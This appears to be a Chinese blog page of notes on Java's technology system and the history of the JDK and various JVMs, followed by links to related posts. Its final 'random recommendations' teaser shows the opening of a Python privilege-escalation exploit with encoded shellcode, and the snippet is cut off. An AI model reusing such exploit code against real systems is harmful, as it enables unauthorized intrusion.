Java技术体系

Java程序设计语言、Java虚拟机、Java API类库统称为JDK 
Java API类库中Java SE API子集和Java虚拟机统称为JRE

Java发展史

1991年4月 Java语言的前身-Oak语言启动 
1995年5月 Oak改名为Java并发布1.0版本 Write Once,Run Anywhere 
1996年1月 JDK 1.0版本发布 提供的Java虚拟机实现(Sun Classic VM) 、Applet、AWT 
1997年2月 JDK 1.1版本发布 提供了JAR文件格式、JDBC、JavaBeans、RMI 
1998年12月 JDK1.2版本发布 Java拆分如下三个方向,虚拟机添加HotSpot VMExact VM 
Java ME 支持Java程序运行在移动终端的平台 
Java SE 支持面向桌面级应用的Java平台 
Java EE 支持使用多层架构的企业应用的Java平台
 
2000年5月 JDK 1.3版本发布 默认虚拟机改为HotSpot VM 
2002年2月 JDK 1.4版本发布 提供正则表达式、异常链、NIO、XML解析器和XSLT转换器等 
2004年9月 JDK 1.5版本发布 提供了自动拆箱、泛型、动态注解、枚举、可变长参数、遍历循环(foreach)等语法特性,提供了java.util.concurrent并发包等,改进了Java内存模型 
2006年12月 JDK 1.6版本发布 提供动态语言支持、提供编译API和微型HTTP服务器API等,对Java虚拟机内部做了大量改进 
2009年2月 JDK 1.7版本发布 提供新的G1收集器、加强对非Java语言调用支持、升级类加载架构 
2009年4月 Oracle公司宣布以74亿美元收购Sun公司

Java虚拟机发展史

Sun Classic / Exact VM
  • Sun Classic 是世界第一款商用Java虚拟机,这款虚拟机只能以纯解释器方式执行代码,不能与编译器配合工作,因此执行效率与传统C/C++程序有很大差距;
  • 为了提升Classic VM的运行效率,在JDK 1.2版本时Sun发布了Exact VM虚拟机,具备两级即使编译器、编译器与解释器混合工作模式以及准确式内存管理。虽然Exact VM比CLassic VM先进不少,但是它只存在了很短的时间就被HotSpot VM取代
Sun HotSpot VM

HotSpot VM是Sun在1997年收购Longview Technologies公司从而获得的,它既继承了Sun之前两款虚拟机的优点,也有许多自己新的优势,比如热点代码探测技术。

BEA JRockit / IBM J9 VM
  • JRockit VM曾号称“世界上速度最快的Java虚拟机”,BEA将其发展为专门为服务器硬件和服务端应用场景高度优化的虚拟机,不太关注程序启动速度,不包含解析器实现。
  • J9 VM是由IBM Ottawa实验室一个名为SmallTalk的虚拟机扩展而来,是一款设计上从服务器端到桌面应用再到嵌入式都全面考虑的多用途虚拟机
Azul VM / BEA Liquid VM
  • Azul VM是Auzl Systems公司在HotSpot基础上大量改进,运行于专有硬件Vega系统上的Java虚拟机
  • Liquid VM即是现在的JRockit VE,是BEA开发运行在自家Hypervisor系统上的JRockit VM的虚拟化版本
其它VM

深入理解java虚拟机一之走进Java的更多相关文章

  1. 深入理解java虚拟机-第二章:java内存区域与内存泄露异常

    2.1概述: java将内存的管理(主要是回收工作),交由jvm管理,确实很省事,但是一点jvm因内存出现问题,排查起来将会很困难,为了能够成为独当一面的大牛呢,自然要了解vm是怎么去使用内存的. 2 ...

  2. Java程序猿从笨鸟到菜鸟之(九十二)深入java虚拟机(一)——java虚拟机底层结构具体解释

    本文来自:曹胜欢博客专栏.转载请注明出处:http://blog.csdn.net/csh624366188 在曾经的博客里面,我们介绍了在java领域中大部分的知识点,从最基础的java最基本的语法 ...

  3. 【深入Java虚拟机】之一:Java内存模型与内存溢出

    [深入Java虚拟机]之:Java内存区域与内存溢出 高速缓存模型如下: ----------------------------------------------------分割线-------- ...

  4. 【深入Java虚拟机】之一:Java内存模型

    [深入Java虚拟机]之:Java内存区域与内存溢出 内存区域 Java虚拟机在执行Java程序的过程中会把他所管理的内存划分为若干个不同的数据区域.Java虚拟机规范将JVM所管理的内存分为以下几个 ...

  5. java虚拟机jvm启动后java代码层面发生了什么?

    java虚拟机jvm启动后java代码层面发生了什么? 0000 我想验证的事情 java代码在被编译后可以被jdk提供的java命令进行加载和运行, 在我们的程序被运行起来的时候,都发生了什么事情, ...

  6. 【java虚拟机系列】从java虚拟机字节码执行引擎的执行过程来彻底理解java的多态性

    我们知道面向对象语言的三大特点之一就是多态性,而java作为一种面向对象的语言,自然也满足多态性,我们也知道java中的多态包括重载与重写,我们也知道在C++中动态多态是通过虚函数来实现的,而虚函数是 ...

  7. 《深入理解java虚拟机》第二章 Java内存区域与内存溢出异常

    第二章 Java内存区域与内存溢出异常 2.2 运行时数据区域  

  8. 重读《深入理解Java虚拟机》二、Java如何分配和回收内存?Java垃圾收集器如何工作?

    线程私有的内存区域随用户线程的结束而回收,内存分配编译期已确定,内存分配和回收具有确定性.共享线程随虚拟机的启动.结束而建立和销毁,在运行期进行动态分配.垃圾收集器主要对共享内存区域(堆和方法区)进行 ...

  9. 重读《深入理解Java虚拟机》一、Java虚拟机内存区域的划分

    一.Java虚拟机内存区域如何划分 1.Java虚拟机内存区域的划分 区域名称 作用(用途) 类型 特点 虚拟机规定异常情况 内存分配与回收 其他说明 1 程序计数器 指示当前正在执行的字节码指令地址 ...

随机推荐

  1. 装饰器,栈 ,asyncio 代码

    装饰器目的: 不改变原来代码的基础上. 给函数添加新功能动态代理. 拦截器 通用装饰器的写法def wrapper(fn): def inner(*args, **kwargs): '''之前''' ...

  2. WOW

    WOW http://bbs.ngacn.cc/read.php?tid=4992959  http://ngasave.us/popcn/?t=gems  地精科技:国服最流行 http://bbs ...

  3. 关于ie6块元素行内元素转换

    1.inline元素的display属性设置为inline-block时,所有的浏览器都支持: 2.block元素的display属性设置为inline-block时,IE6/IE7浏览器是不支持的: ...

  4. R语言-散点图进阶

    1.分组散点图 ①xyplot()函数 > library(lattice) > xyplot(mpg~disp, #定义Y~X轴 + data=mtcars, + groups=cyl, ...

  5. CORSFilter 跨域资源访问

    CORS 定义 Cross-Origin Resource Sharing(CORS)跨来源资源共享是一份浏览器技术的规范,提供了 Web 服务从不同域传来沙盒脚本的方法,以避开浏览器的同源策略,是 ...

  6. 十三、Visitor 访问者设计模式

    需求:将数据结果与处理分开 设计原理: 代码清单: Element public interface Element { void accept(Visitor visitor); } Entry p ...

  7. Mysql连接数太多ERROR 1040 (HY000): Too many connections

    数据库连接报错:ERROR 1040 (HY000): Too many connections   1.查看连接数 /usr/local/mysql/bin/mysqladmin -h host - ...

  8. VueJs相关命令

    参考: https://www.jianshu.com/p/1626b8643676   安装axios $ npm install axios   如何打包 基于Vue-Cli,通过npm run ...

  9. extJs相关名字解释

      1.initComponent 初始化部件启动 2.defaults : Object defaults属性可以包含任意个name/value属性对,这些属性将会被添加到每一个元素中...例如, ...

  10. oday获取系统最高权限的代码

    import sys,sockettarget = sys.argv[1]shellcode = ("\x6a\x4f\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81 ...